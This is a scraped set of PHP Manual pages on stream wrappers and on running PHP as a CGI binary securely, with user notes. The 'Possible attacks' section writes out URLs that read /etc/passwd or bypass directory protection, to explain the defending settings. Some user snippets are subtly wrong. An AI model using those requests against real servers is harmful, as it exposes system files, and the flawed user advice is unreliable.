dba_dump.php: 0.9K
nocvsdir.php: 1.1K
phar_from_dir.php: 1.0K
ini_groups.php: 0.9K
directorytree.php: 0.9K
dba_array.php: 1.1K
class_tree.php: 1.8K

User Contributed Notes

There are no user contributed notes for this page.


PHP Archive

  • « glob://
  • ssh2:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • PHP Archive

phar://

phar:// — PHP Archive

Description

The phar:// stream wrapper is available since PHP 5.3.0. See Phar stream wrapper for detailed description.

Usage

  • phar://

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | No
Allows Simultaneous Reading and Writing | Yes
Supports stat() | Yes
Supports unlink() | Yes
Supports rename() | Yes
Supports mkdir() | Yes
Supports rmdir() | Yes

See Also

  • Phar context options

User Contributed Notes

There are no user contributed notes for this page.


Secure Shell 2

  • « phar://
  • rar:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Secure Shell 2

ssh2://

ssh2:// — Secure Shell 2

Description

ssh2.shell:// ssh2.exec:// ssh2.tunnel:// ssh2.sftp:// ssh2.scp:// PHP 4.3.0 and up (PECL)

Note: This wrapper is not enabled by default
In order to use the ssh2.*:// wrappers you must install the » SSH2 extension available from » PECL.

In addition to accepting traditional URI login details, the ssh2 wrappers will also reuse open connections by passing the connection resource in the host portion of the URL.

Usage

  • ssh2.shell://user:pass@example.com:22/xterm
  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
  • ssh2.sftp://user:pass@example.com:22/path/to/filename

Options

Wrapper Summary
Attribute | ssh2.shell | ssh2.exec | ssh2.tunnel | ssh2.sftp | ssh2.scp
Restricted by allow_url_fopen | Yes | Yes | Yes | Yes | Yes
Allows Reading | Yes | Yes | Yes | Yes | Yes
Allows Writing | Yes | Yes | Yes | Yes | No
Allows Appending | No | No | No | Yes (When supported by server) | No
Allows Simultaneous Reading and Writing | Yes | Yes | Yes | Yes | No
Supports stat() | No | No | No | Yes | No
Supports unlink() | No | No | No | Yes | No
Supports rename() | No | No | No | Yes | No
Supports mkdir() | No | No | No | Yes | No
Supports rmdir() | No | No | No | Yes | No

Context options
Name | Usage | Default
session | Preconnected ssh2 resource to be reused |
sftp | Preallocated sftp resource to be reused |
methods | Key exchange, hostkey, cipher, compression, and MAC methods to use |
callbacks |  |
username | Username to connect as |
password | Password to use with password authentication |
pubkey_file | Name of public key file to use for authentication |
privkey_file | Name of private key file to use for authentication |
env | Associate array of environment variables to set |
term | Terminal emulation type to request when allocating a pty |
term_width | Width of terminal requested when allocating a pty |
term_height | Height of terminal requested when allocating a pty |
term_units | Units to use with term_width and term_height | SSH2_TERM_UNIT_CHARS

Examples

Example #1 Opening a stream from an active connection

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

Example #2 This $session variable must be kept available!

In order to use the ssh2.*://$session wrappers you must keep the $session resouce variable. The code below will not have the desired effect:

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$connection_string = "ssh2.sftp://$session/";
unset($session);
$stream = fopen($connection_string . "path/to/file", 'r');
?>

unset() closes the session, because $connection_string does not hold a reference to the $session variable, just a string cast derived from it. This also happens when the unset() is implicit because of leaving scope (like in a function).

User Contributed Notes

exptom 30-Jun-2013 06:37
The "password" context option can also be used to provide the passphrase for the keyfile supplied by "privkey_file" and "pubkey_file".

Note this bug: https://bugs.php.net/bug.php?id=58573
Encrypted keys may not work unless you build libssh2 against openssl. (It only worked for me on Debian Wheezy once I recompiled the library).
bluej100 at gmail dot com 08-May-2013 07:42
Be aware that opendir is currently broken on sftp root directories, but you can work around it by appending a dot. See https://bugs.php.net/bug.php?id=64169 and http://stackoverflow.com/a/16238476/69173.


RAR

  • « ssh2://
  • ogg:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • RAR

rar://

rar:// — RAR

Description

The wrapper takes the url encoded path to the RAR archive (relative or absolute), an optional asterik (*), an optional number sign (#) and an optional url encoded entry name, as stored in the archive. Specifying an entry name requires the number sign; a leading forward slash in the entry name is optional.

This wrapper can open both files and directories. When opening directories, the asterisk sign forces the directory entries names to be returned unencoded. If it's not specified, they will be returned url encoded – the reason for this is to allow the wrapper to be correctly used with built-in functionality like the RecursiveDirectoryIterator in the presence of file names that seem like url encoded data.

If the pound sign and the entry name part are not included, the root of the archive will be displayed. This differs from regular directories in that the resulting stream will not contain information such as the modification time, as the root directory is not stored in an individual entry in the archive. The usage of the wrapper with RecursiveDirectoryIterator requires the number sign to be included in the URL when accessing the root, so that the URLs of the children may be constructed correctly.

Note: This wrapper is not enabled by default
In order to use the rar:// wrapper, you must install the » rar extension available from » PECL.

rar:// Available since PECL rar 3.0.0

Usage

  • rar://<url encoded archive name>[*][#[<url encoded entry name>]]

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | No
Allows Reading | Yes
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | No
Supports stat() | Yes
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Context options
Name | Usage | Default
open_password | The password used to encrypt the headers of the archive, if any. WinRAR will encrypt all the files with the same password as the headers password when the later is present, so for archives with encrypted headers, file_password will be ignored. |
file_password | The password used to encrypt a file, if any. If the headers are also encrypted, this option will be ignored in favor of open_password. The reason there are two options is to cover the possibility of supporting archives with different headers and file passwords, should those archives arise. Note that if the archive does not have its headers encrypted, open_password will be ignored and this option must be used instead. |
volume_callback | A callback to determine the path of missing volumes. See RarArchive::open() for more information. |

Examples

Example #1 Traversing a RAR archive

<?php

class MyRecDirIt extends RecursiveDirectoryIterator {
    function current() {
        return rawurldecode($this->getSubPathName()) .
            (is_dir(parent::current())?" [DIR]":"");
    }
}

$f = "rar://" . rawurlencode(dirname(__FILE__)) .
    DIRECTORY_SEPARATOR . 'dirs_and_extra_headers.rar#';

$it = new RecursiveTreeIterator(new MyRecDirIt($f));

foreach ($it as $s) {
    echo $s, "\n";
}
?>

The above example will output something similar to:

|-allow_everyone_ni [DIR]
|-file1.txt
|-file2_אּ.txt
|-with_streams.txt
\-אּ [DIR]
  |-אּ\%2Fempty%2E [DIR]
  | \-אּ\%2Fempty%2E\file7.txt
  |-אּ\empty [DIR]
  |-אּ\file3.txt
  |-אּ\file4_אּ.txt
  \-אּ\אּ_2 [DIR]
    |-אּ\אּ_2\file5.txt
    \-אּ\אּ_2\file6_אּ.txt

Example #2 Opening an encrypted file (header encryption)

<?php
$stream = fopen("rar://" .
    rawurlencode(dirname(__FILE__)) . DIRECTORY_SEPARATOR .
    'encrypted_headers.rar' . '#encfile1.txt', "r", false,
    stream_context_create(
        array(
            'rar' =>
                array(
                    'open_password' => 'samplepassword'
                )
            )
        )
    );
var_dump(stream_get_contents($stream));
/* creation and last access date is opt-in in WinRAR, hence most
 * files don't have them */
var_dump(fstat($stream));
?>

The above example will output something similar to:

string(26) "Encrypted file 1 contents."
Array
(
    [0] => 0
    [1] => 0
    [2] => 33206
    [3] => 1
    [4] => 0
    [5] => 0
    [6] => 0
    [7] => 26
    [8] => 0
    [9] => 1259550052
    [10] => 0
    [11] => -1
    [12] => -1
    [dev] => 0
    [ino] => 0
    [mode] => 33206
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 26
    [atime] => 0
    [mtime] => 1259550052
    [ctime] => 0
    [blksize] => -1
    [blocks] => -1
)

User Contributed Notes

There are no user contributed notes for this page.


Audio streams

  • « rar://
  • expect:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Audio streams

ogg://

ogg:// — Audio streams

Description

Files opened for reading via the ogg:// wrapper are treated as compressed audio encoded using the OGG/Vorbis codec. Similarly, files opened for writing or appending via the ogg:// wrapper are writen as compressed audio data. stream_get_meta_data(), when used on an OGG/Vorbis file opened for reading will return various details about the stream including the vendor tag, any included comments, the number of channels, the sampling rate, and the encoding rate range described by: bitrate_lower, bitrate_upper, bitrate_nominal, and bitrate_window.

ogg:// PHP 4.3.0 and up (PECL)

Note: This wrapper is not enabled by default
In order to use the ogg:// wrapper you must install the » OGG/Vorbis extension available from » PECL.

Usage

  • ogg://soundfile.ogg
  • ogg:///path/to/soundfile.ogg
  • ogg://http://www.example.com/path/to/soundstream.ogg

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | Yes
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Context options
Name | Usage | Default | Mode
pcm_mode | PCM encoding to apply while reading, one of: OGGVORBIS_PCM_U8, OGGVORBIS_PCM_S8, OGGVORBIS_PCM_U16_BE, OGGVORBIS_PCM_S16_BE, OGGVORBIS_PCM_U16_LE, and OGGVORBIS_PCM_S16_LE. (8 vs 16 bit, signed or unsigned, big or little endian) | OGGVORBIS_PCM_S16_LE | Read
rate | Sampling rate of input data, expressed in Hz | 44100 | Write/Append
bitrate | When given as an integer, the fixed bitrate at which to encode. (16000 to 131072) When given as a float, the variable bitrate quality to use. (-1.0 to 1.0) | 128000 | Write/Append
channels | The number of audio channels to encode, typically 1 (Mono), or 2 (Stereo). May range as high as 16. | 2 | Write/Append
comments | An array of string values to encode into the track header. |  | Write/Append

Examples

User Contributed Notes

martin dot leese at stanfordalumni dot org 18-Feb-2008 07:04
Note that although "ogg:" is the wrapper name, the stream is restricted to Ogg files containing a single stream encoded using the Vorbis audio codec.  An Ogg container can, in fact, contain multiple streams: audio, video, anything.  (Also, the audio streams in an Ogg contaner can use codecs such as FLAC and OggPCM.)  The wrapper name is therefore misleading.


Process Interaction Streams

  • « ogg://
  • Security »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Process Interaction Streams

expect://

expect:// — Process Interaction Streams

Description

Streams opened via the expect:// wrapper provide access to process'es stdio, stdout and stderr via PTY.

Note: This wrapper is not enabled by default
In order to use the expect:// wrapper you must install the » Expect extension available from » PECL.

expect:// PHP 4.3.0 and up (PECL)

Usage

  • expect://command

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | Yes
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Examples

User Contributed Notes

There are no user contributed notes for this page.


Security

  • Introduction
  • General considerations
  • Installed as CGI binary
    • Possible attacks
    • Case 1: only public files served
    • Case 2: using cgi.force_redirect
    • Case 3: setting doc_root or user_dir
    • Case 4: PHP parser outside of web tree
  • Installed as an Apache module
  • Filesystem Security
    • Null bytes related issues
  • Database Security
    • Designing Databases
    • Connecting to Database
    • Encrypted Storage Model
    • SQL Injection
  • Error Reporting
  • Using Register Globals
  • User Submitted Data
  • Magic Quotes
    • What are Magic Quotes
    • Why did we use Magic Quotes
    • Why not to use Magic Quotes
    • Disabling Magic Quotes
  • Hiding PHP
  • Keeping Current

User Contributed Notes

moehbass at gmail dot com 12-Jul-2007 07:34
First, q much simpler solution to preventing people from viewing code inside of an includable file would be to give include file an extension that ends with php (e.g. myFile.inc.php).

Secondly, and more importantly, why on earth would you want to put program-level code in an include file? By that I mean something life this:

myFile.inc.php
--------------------------------
...
if ($var = 'whatever')
    // connect to the database
else
    // do something else.
--------------------------------

An include file should not contain logic! Rather, it is an encapsulated unit of code that should not do anything on its own unless asked to. To implement this ideology, consider including function definitions only in your include files, then once you include them in the script, call such functions from within your program (i.e. the script that included the inc file). If you don't know the names of the functions ab initio, use call_user_func() or call_user_func_array() and pass it the name of the function that's dependent on context.

If you MUST put program-level logic in your include files, consider simply putting it in the program!

Why should you consider this? How about variable name clashes for a starter! You can think of more, I am shure!

Hope that helped
dangan at blackjaguargaming dot net 02-Feb-2007 03:41
I'd recommend a 404 over a 403 considering a 403 proves there is something worth hacking into.

index.php:
<?php
define('isdoc',1);
include('includes/include.sqlfunctions.php');
// Rest of code for index.php
?>

include.sqlfunctions.php (or other include file):
<?php
if(isdoc !== 1) // Not identical to 1
{
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head>";
    echo "<body>\n<h1>Not Found</h1>\n<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>\n";
    echo "<hr>\n".$_SERVER['SERVER_SIGNATURE']."\n</body></html>\n";
    // Echo output similar to Apache's default 404 (if thats what you're using)
    exit;
}
// Rest of code for this include
?>
k 26-Oct-2006 01:06
How about not putting the php code in the web-root at all...?

You can create a public directory with the css, html, etc and index.php there. Then use the include_path setting to point to the actual php code, eg...

webstuff
  phpcode
  public
    images
    css
    index.php

then set the include path to "../phpcode" and, as php is executed from the directory of the script, all should be well.

I'd also call the main index "main.page", or something else, instead of "index.php" and change the web server default index page. That way you cant get hit by things trawlling the web for index pages.
steffen at morkland dot com 20-Sep-2006 03:38
In Reply to djjokla and others

Consider placing all incude files as mentioned before in a seperate folder containing a .htaccess containing a Order Deny,Allow

the create a index file, which is intended to handle ALL request made to you php application, then call it with index.php?view=index

the index file could look a bit like this:

<?php
switch($_GET['view']){
    case 'index':
        include('libs/index.php');
        break;
    default:
        include('libs/404.php');
        break;
}
?>

this could be an array or something even more creative. it actually does'nt matter how you do it... running all pages through one central script has one big advantage.... CONTROL.
at any givin time, you can easily implement access control to functions without forgetting crucial files.
djjokla AT gmail dot com 21-Apr-2006 05:22
If a single file has to be included than I use the following

index.php ( where the file is gonna be included )
___________
<?php
    define('thefooter', TRUE);
    include('folder/footer.inc.php');
?>

and the footer file (for example) looks this way then

footer.inc.php ( the file to be inluded )
___________
<?php
    defined('thefooter') or die('Not with me my friend');
    echo('Copyright to me in the year 2000');
?>

So when someone tries to access the footer.php file directly he/she/it will get the "Not with me my friend" messages written on the screen. An alternative option is to redirect the person who wants to access the file directly to a different location, so instead of the above code you would have to write the following in the footer.inc.php file.

<?php
    defined('thefooter') or header('Location: http://www.location.com');
    echo('Copyright to me in the year 2000');
?>

In normal case a redirection to an external site would be annoying to the visitor, but since this visitor is more interested in hacking the site than in reading the content, I think it's only fair to create such an redirection. We dont' realy want someome like this on our sites.

For the file protection I use .htaccess in which I say to protect the file itself and every .inc file

<Files ~ "^.*\.([Hh][Tt]|[Ii][Nn][Cc])">
Order allow,deny
Deny from all
Satisfy All
</Files>

The .htaccess file should result an Error 403 if someone tries to access the files directly. If for some reason this shouldn't work, then the "Not with me my friend" text apears or a redirection (depending what is used)

In my eyes this looks o.k. and safe.
Thomas "Balu" Walter 16-Oct-2005 10:24
Since many users can not modify apache configurations or use htaccess files, the best way to avoid unwanted access to include files would be a line at the beginning of the include-file:

<?php if (!defined('APPLICATION')) exit; ?>

And in all files that are allowed to be called externally:

<?php define('APPLICATION', true); ?>

     Balu
nick dot hristov at gmail dot com 02-Sep-2004 05:21
A correction to previous post by Dave Mink.

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Will not stop something like
http://www.yourserver.com/includefile.inc?pointlessvar=blahblah

Here is something more sophisticated for this task:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>

Also, consider placing in your httpd.conf

<Location ~ "/[^ ](?=\.phps(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>
ocrow at simplexity dot net 02-Jul-2003 02:16
If your PHP pages include() or require() files that live within the web server document root, for example library files in the same directory as the PHP pages, you must account for the possibility that attackers may call those library files directly.

Any program level code in the library files (ie code not part of function definitions) will be directly executable by the caller outside of the scope of the intended calling sequence.  An attacker may be able to leverage this ability to cause unintended effects.

The most robust way to guard against this possibility is to prevent your webserver from calling the library scripts directly, either by moving them out of the document root, or by putting them in a folder configured to refuse web server access. With Apache for example, create a .htaccess file in the library script folder with these directives:

Order Allow,Deny
Deny from any
annonymous at domain dot com 27-Jun-2003 03:08
best bet is to build php as cgi, run under suexec, with chroot jailed users. Not the best, but fairly unobtrusive, provides several levels of checkpoints, and has only the detriment of being, well, kinda slow. 8)
ManifoldNick at columbus dot rr dot com 30-Apr-2003 07:30
Remember that security risks often don't involve months of prep work or backdoors or whatever else you saw on Swordfish ;) In fact one of the bigges newbie mistakes is not removing "<" from user input (especially when using message boards) so in theory a user could secerely mess up a page or even have your server run php scripts which would allow them to wreak havoc on your site.
26-Feb-2003 01:00
For real security you should consider providing chrooted jail's for your users.


Introduction

PHP is a powerful language and the interpreter, whether included in a web server as a module or executed as a separate CGI binary, is able to access files, execute commands and open network connections on the server. These properties make anything run on a web server insecure by default. PHP is designed specifically to be a more secure language for writing CGI programs than Perl or C, and with correct selection of compile-time and runtime configuration options, and proper coding practices, it can give you exactly the combination of freedom and security you need.

As there are many different ways of utilizing PHP, there are many configuration options controlling its behaviour. A large selection of options guarantees you can use PHP for a lot of purposes, but it also means there are combinations of these options and server configurations that result in an insecure setup.

The configuration flexibility of PHP is equally rivalled by the code flexibility. PHP can be used to build complete server applications, with all the power of a shell user, or it can be used for simple server-side includes with little risk in a tightly controlled environment. How you build that environment, and how secure it is, is largely up to the PHP developer.

This chapter starts with some general security advice, explains the different configuration option combinations and the situations they can be safely used, and describes different considerations in coding for different levels of security.

User Contributed Notes

There are no user contributed notes for this page.


General considerations

A completely secure system is a virtual impossibility, so an approach often used in the security profession is one of balancing risk and usability. If every variable submitted by a user required two forms of biometric validation (such as a retinal scan and a fingerprint), you would have an extremely high level of accountability. It would also take half an hour to fill out a fairly complex form, which would tend to encourage users to find ways of bypassing the security.

The best security is often unobtrusive enough to suit the requirements without the user being prevented from accomplishing their work, or over-burdening the code author with excessive complexity. Indeed, some security attacks are merely exploits of this kind of overly built security, which tends to erode over time.

A phrase worth remembering: A system is only as good as the weakest link in a chain. If all transactions are heavily logged based on time, location, transaction type, etc. but the user is only verified based on a single cookie, the validity of tying the users to the transaction log is severely weakened.

When testing, keep in mind that you will not be able to test all possibilities for even the simplest of pages. The input you may expect will be completely unrelated to the input given by a disgruntled employee, a cracker with months of time on their hands, or a housecat walking across the keyboard. This is why it's best to look at the code from a logical perspective, to discern where unexpected data can be introduced, and then follow how it is modified, reduced, or amplified.

The Internet is filled with people trying to make a name for themselves by breaking your code, crashing your site, posting inappropriate content, and otherwise making your day interesting. It doesn't matter if you have a small or large site, you are a target by simply being online, by having a server that can be connected to. Many cracking programs do not discern by size, they simply trawl massive IP blocks looking for victims. Try not to become one.

User Contributed Notes

There are no user contributed notes for this page.


Installed as CGI binary

Table of Contents

  • Possible attacks
  • Case 1: only public files served
  • Case 2: using cgi.force_redirect
  • Case 3: setting doc_root or user_dir
  • Case 4: PHP parser outside of web tree

User Contributed Notes

Anonymous 04-May-2012 06:06
IMPORTANT INFORMATION

There was a serious vulnerability in certain CGI-based PHP setups that has gone unnoticed for at least 8 years.

For PHP this means that a request containing ?-s may dump the PHP source code for the page.

Make sure to update to current versions and/or use an .htaccess patch, both available here:

PHP 5.3.12 and PHP 5.4.2 Released:
http://www.php.net/archive/2012.php#id2012-05-03-1
Craig Buchek 12-Aug-2007 06:33
NOTE: Running PHP as a CGI program will change the value of $_SERVER['SCRIPT_NAME']. When running via the (normal) mod_PHP mechanism, it will be set to the name of (actually, path to) the PHP script that's running. When running via CGI, it will instead point to the path of the CGI binary.
phpD0TnetATmoritzHYPHONnaumannD0Tcom 09-Jan-2006 06:56
One of the most common reasons why you get 'No input file specified' (AKA 'the second most useful error message in the world') is that you have set 'doc_root' (in php.ini) to a value which is to the 'DocumentRoot' defined in the apache configuration.

This is the same for other webservers. For example, on lighttpd, make sure the 'server.document-root' value is the same as what is defined as 'doc_root' in php.ini.
phil dot ross at gmail dot com 23-Mar-2005 12:56
In response to grange at club-internet dot fr:

There are a couple of errors in the mod_rewrite directives given. I found that the following works:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !200
RewriteRule ^cgi-bin/php.cgi - [F]

I removed the = from the RewriteCond and took out the leading / from the RewriteRule.
kschroeder at mirageworks dot com 11-Feb-2005 04:23
I have noticed that some people have noted that running PHP as a CGI program can run slowly compared with a compiled in module.  Some have noted that they want to use FastCGI but are hesitant.  I found that using the Apache 2's CGID module was a great way to speed up performance almost to the same level as an "so"-installed PHP module but you get the added benefit of running each virtual host under it's own user and group.

In my testing I got 44 pages per second using PHP as a module and I got roughly the same performance (within 5%) running PHP as a CGI program through CGID.

CGID is also really easy to set up.  Just add --enable-cgid to your Apache configure command and you're good to go.  Just set up PHP as a CGI normally.

I'm sure that there's extra RAM used for this method but RAM is as cheap as borscht anyways so it shouldn't be a major factor when trying to speed up PHP CGI.
martelli at geoserve dot com dot br 12-Jul-2004 09:25
PHP CGI with VirtualHosts.

This is what I found out while trying to get php to work as CGI with Apache VirtualHosts.

By enabling 'force-cgiredirects', you *must*:
1) set 'cgi.fix_pathinfo=1' in php.ini
2) leave doc_root commented out (php.ini also)

If you miss item 1, the apache logs will show 'unexpected T_STRING' in the php binary.
If you miss item 2, you'll only see 'No input file specified.', instead of the expected output.

You can then turn on the php support for a particular vhost by defining:

Action php-script /cgi-bin/php

inside the corresponding <VirtualHost> directive.
13-Jun-2004 05:26
PHP works with Apache and suEXEC like this:
(Assuming that suEXEC ist allready installed and working)

Install PHP as CGI binary (e.g. in /usr/local/bin/php)
(compile with --enable-force-cgi-redirect)

Create a Link inside cgi-bin directory to make php-cgi accessable:
cd /usr/local/apache/cgi-bin
ln /usr/local/bin/php php

Edit your httpd.conf file:
 AddHandler php4-script .php
 Action php4-script /cgi-bin/php

 <VirtualHost 123.456.789.0:80>
    User exampleuser
    Group examplegroup
     ...

 </VirtualHost>

Restart Apache

PHP-scripts are now called under the user-id of exampleuser and group-id of examplegroup.
geeky at geeky dot de 03-Sep-2003 04:32
a replacement for suexec is suphp (http://www.suphp.org).

"suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter." (from the website)
pookey at pookey dot co dot uk 21-Mar-2003 07:29
I have setup a guide to installing PHP with SuEXEC in such a way that shebangs (!#/usr/bin/php4) are not needed.  Hope this is of some help to you.

http://www.pookey.co.uk/php-security.xml
goran_johansson at yahoo dot com 17-Feb-2003 03:53
A tip for Windows-users

Just a tip for you so do not do the same mistake as I did:
I just found out that PHP first seem to look in the php-directory for php.ini, and if that file does not exist, it looks in the Windows directory.
I renamed the file php.ini-dist to php.ini and copied it to my Windows directory, and then I modified the infamous "cgi.force_redirect = 0" in the php.ini file located in the Windows directory, to make it work. But it did not because it reads from the "original" php.ini - So when I deleted this php.ini things started working again
matled at gmx dot net 29-Sep-2002 12:53
If you are using php per cgi and have additionally mod_gzip enabled you have to disable mod_gzip for the php cgi binary to use --enable-cgi-redirect. mod_gzip sets the REDIRECT_STATUS always to 200 which makes it impossible for the php binary to know when it was called directly or when it was called by a redirect.
ruben at puettmann dot net 20-Sep-2002 03:29
To use php-cgi with suexec it will be nice that each virtual host has ist's own php.ini. This goes with :

SetEnv PHPRC /var/www/server/www.test.com/conf

But suexec will kill this enviromet cause It don't know that it is "save" so you must edit the suexec.c for compiling ....
yohgaki at hotmail dot com 13-Apr-2001 08:44
If you care about security, you are better of setting

register_globals = off
enable_track_vars = on (Always on from PHP4.0.3)

Default setting for variable order is
EGPCS
(ENV VARS/GET VARS/POST VARS/COOKIE VARS/SESSION VARS)

Imagine if you are rely on ENV VAR but it was orver written with GET/POST/COOKIE vars?
michel dot jansens at ulb dot ac dot be 09-Apr-2001 07:21
If you want to use suexec and reference your php interpreter via #!/usr/local/bin/php,  be shure to compile php WITHOUT  --enable-force-cgi-redirect.

This might seems obvious, but I spent 2 days on this :-(
steeven at kali dot com dot cn 18-Jan-2001 10:54
suEXEC require CGI mode, and slow down the scripts. I did them like this:
1. Install php as DSO mode. (for max speed and low secure)
2. Make a seperate CGI install with --enable-force-cgi-redirect, place php to cgi-bin
3 For more secure with suEXEC, choose one of the following method:
3-1: Place a .htaccess file containing this to override main config:
AddType application/x-httpd-wphp php
Action application/x-httpd-wphp /cgi-bin/php
  All php files in subdirectory will be protected.
3-2: add following in httpd.conf:
AddType application/x-httpd-wphp sphp
Action application/x-httpd-wphp /cgi-bin/php
  then each sensitive php file should be renamed to .sphp

Add "php_value doc_root /home/user/html_docs" to each virtual host directive in httpd.conf
kstone at trivergent dot net 04-May-2000 11:01
Better yet, use binfmt_misc:  (linux only)

echo :php3:E::php3::/usr/bin/php: > /proc/sys/fs/binfmt_misc/register

Eliminates the need for the #! at the top of the file.


Possible attacks

Using PHP as a CGI binary is an option for setups that for some reason do not wish to integrate PHP as a module into server software (like Apache), or will use PHP with different kinds of CGI wrappers to create safe chroot and setuid environments for scripts. This setup usually involves installing executable PHP binary to the web server cgi-bin directory. CERT advisory » CA-96.11 recommends against placing any interpreters into cgi-bin. Even if the PHP binary can be used as a standalone interpreter, PHP is designed to prevent the attacks this setup makes possible:

  • Accessing system files: http://my.host/cgi-bin/php?/etc/passwd The query information in a URL after the question mark (?) is passed as command line arguments to the interpreter by the CGI interface. Usually interpreters open and execute the file specified as the first argument on the command line. When invoked as a CGI binary, PHP refuses to interpret the command line arguments.
  • Accessing any web document on server: http://my.host/cgi-bin/php/secret/doc.html The path information part of the URL after the PHP binary name, /secret/doc.html is conventionally used to specify the name of the file to be opened and interpreted by the CGI program. Usually some web server configuration directives (Apache: Action) are used to redirect requests to documents like http://my.host/secret/script.php to the PHP interpreter. With this setup, the web server first checks the access permissions to the directory /secret, and after that creates the redirected request http://my.host/cgi-bin/php/secret/script.php. Unfortunately, if the request is originally given in this form, no access checks are made by web server for file /secret/script.php, but only for the /cgi-bin/php file. This way any user able to access /cgi-bin/php is able to access any protected document on the web server. In PHP, runtime configuration directives cgi.force_redirect, doc_root and user_dir can be used to prevent this attack, if the server document tree has any directories with access restrictions. See below for full the explanation of the different combinations.

User Contributed Notes

There are no user contributed notes for this page.


Case 1: only public files served

If your server does not have any content that is not restricted by password or ip based access control, there is no need for these configuration options. If your web server does not allow you to do redirects, or the server does not have a way to communicate to the PHP binary that the request is a safely redirected request, you can specify the option --enable-force-cgi-redirect to the configure script. You still have to make sure your PHP scripts do not rely on one or another way of calling the script, neither by directly http://my.host/cgi-bin/php/dir/script.php nor by redirection http://my.host/dir/script.php.

Redirection can be configured in Apache by using AddHandler and Action directives (see below).

User Contributed Notes

There are no user contributed notes for this page.


Case 2: using cgi.force_redirect

The configuration directive cgi.force_redirect prevents anyone from calling PHP directly with a URL like http://my.host/cgi-bin/php/secretdir/script.php. Instead, PHP will only parse in this mode if it has gone through a web server redirect rule. PHP older than 4.2.0 used --enable-force-cgi-redirect compile time option for this.

Usually the redirection in the Apache configuration is done with the following directives:

Action php-script /cgi-bin/php
AddHandler php-script .php

This option has only been tested with the Apache web server, and relies on Apache to set the non-standard CGI environment variable REDIRECT_STATUS on redirected requests. If your web server does not support any way of telling if the request is direct or redirected, you cannot use this option and you must use one of the other ways of running the CGI version documented here.

User Contributed Notes

harvey dot eneman at oracle dot com 01-Jul-2009 01:29
It appears that as of 5.3.0, --enable-force-cgi-redirect is not a valid configure option.  A quick review of the 5.3.0 code indicates that it the logic previously enabled by specifying the --enable-force-cgi-redirect configure option is being built into php by default.
celtic at sairyx dot org 15-Dec-2006 02:24
Note that force-redirect doesn't work with IIS at all; it'll tell you to go away, as IIS doesn't supply the right variables to PHP.

php.ini tells you to turn it off, so make sure you do.


Case 3: setting doc_root or user_dir

To include active content, like scripts and executables, in the web server document directories is sometimes considered an insecure practice. If, because of some configuration mistake, the scripts are not executed but displayed as regular HTML documents, this may result in leakage of intellectual property or security information like passwords. Therefore many sysadmins will prefer setting up another directory structure for scripts that are accessible only through the PHP CGI, and therefore always interpreted and not displayed as such.

Also if the method for making sure the requests are not redirected, as described in the previous section, is not available, it is necessary to set up a script doc_root that is different from web document root.

You can set the PHP script document root by the configuration directive doc_root in the configuration file, or you can set the environment variable PHP_DOCUMENT_ROOT. If it is set, the CGI version of PHP will always construct the file name to open with this doc_root and the path information in the request, so you can be sure no script is executed outside this directory (except for user_dir below).

Another option usable here is user_dir. When user_dir is unset, only thing controlling the opened file name is doc_root. Opening a URL like http://my.host/~user/doc.php does not result in opening a file under users home directory, but a file called ~user/doc.php under doc_root (yes, a directory name starting with a tilde [~]).

If user_dir is set to for example public_php, a request like http://my.host/~user/doc.php will open a file called doc.php under the directory named public_php under the home directory of the user. If the home of the user is /home/user, the file executed is /home/user/public_php/doc.php.

user_dir expansion happens regardless of the doc_root setting, so you can control the document root and user directory access separately.

User Contributed Notes

Krishna Srikanth 30-Apr-2010 11:48
user_dir will not work in windows.


Case 4: PHP parser outside of web tree

A very secure option is to put the PHP parser binary somewhere outside of the web tree of files. In /usr/local/bin, for example. The only real downside to this option is that you will now have to put a line similar to:

#!/usr/local/bin/php
as the first line of any file containing PHP tags. You will also need to make the file executable. That is, treat it exactly as you would treat any other CGI script written in Perl or sh or any other common scripting language which uses the #! shell-escape mechanism for launching itself.

To get PHP to handle PATH_INFO and PATH_TRANSLATED information correctly with this setup, the PHP parser should be compiled with the --enable-discard-path configure option.

User Contributed Notes

